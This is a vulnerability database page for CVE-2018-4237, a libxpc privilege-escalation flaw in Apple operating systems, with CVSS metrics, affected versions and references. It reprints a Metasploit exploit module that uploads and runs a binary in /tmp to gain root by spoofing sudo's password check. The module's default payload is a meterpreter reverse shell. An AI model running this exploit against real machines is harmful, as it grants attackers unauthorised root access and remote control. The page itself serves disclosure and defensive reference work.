CVE-2018-4237 : Detail

CVE-2018-4237

7.8
/
High
70.34%V4
Local
2018-06-08
16h00 +00:00
2018-12-01
09h57 +00:00
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CVE Descriptions

An issue was discovered in certain Apple products. iOS before 11.4 is affected. macOS before 10.13.5 is affected. tvOS before 11.4 is affected. watchOS before 4.3.1 is affected. The issue involves the "libxpc" component. It allows attackers to gain privileges via a crafted app that leverages a logic error.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 45916

Publication date : 2018-11-28 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::OSX::Priv include Msf::Post::OSX::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Mac OS X libxpc MITM Privilege Escalation', 'Description' => %q{ This module exploits a vulnerablity in libxpc on macOS <= 10.13.3 The task_set_special_port API allows callers to overwrite their bootstrap port, which is used to communicate with launchd. This port is inherited across forks: child processes will use the same bootstrap port as the parent. By overwriting the bootstrap port and forking a child processes, we can now gain a MitM position between our child and launchd. To gain root we target the sudo binary and intercept its communication with opendirectoryd, which is used by sudo to verify credentials. We modify the replies from opendirectoryd to make it look like our password was valid. }, 'License' => MSF_LICENSE, 'Author' => [ 'saelo' ], 'References' => [ ['CVE', '2018-4237'], ['URL', 'https://github.com/saelo/pwn2own2018'], ], 'Arch' => [ ARCH_X64 ], 'Platform' => 'osx', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' }, 'Targets' => [ [ 'Mac OS X x64 (Native Payload)', { } ] ], 'DisclosureDate' => 'Mar 15 2018')) register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def upload_executable_file(filepath, filedata) print_status("Uploading file: '#{filepath}'") write_file(filepath, filedata) chmod(filepath) register_file_for_cleanup(filepath) end def check version = Gem::Version.new(get_system_version) if version >= Gem::Version.new('10.13.4') CheckCode::Safe else CheckCode::Appears end end def exploit if check != CheckCode::Appears fail_with Failure::NotVulnerable, 'Target is not vulnerable' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless writable? datastore['WritableDir'] fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" end exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2018-4237", "ssudo" )) exploit_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}" upload_executable_file(exploit_file, exploit_data) payload_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}" upload_executable_file(payload_file, generate_payload_exe) exploit_cmd = "#{exploit_file} #{payload_file}" print_status("Executing cmd '#{exploit_cmd}'") cmd_exec(exploit_cmd) end end

Products Mentioned

Configuraton 0

Apple>>Iphone_os >> Version To (excluding) 11.4

Apple>>Mac_os_x >> Version To (excluding) 10.13.5

Apple>>Tvos >> Version To (excluding) 11.4

Apple>>Watchos >> Version To (excluding) 4.3.1

References

https://support.apple.com/HT208850
Tags : x_refsource_CONFIRM
https://support.apple.com/HT208851
Tags : x_refsource_CONFIRM
http://www.securitytracker.com/id/1041027
Tags : vdb-entry, x_refsource_SECTRACK
https://support.apple.com/HT208848
Tags : x_refsource_CONFIRM
https://support.apple.com/HT208849
Tags : x_refsource_CONFIRM
https://www.exploit-db.com/exploits/45916/
Tags : exploit, x_refsource_EXPLOIT-DB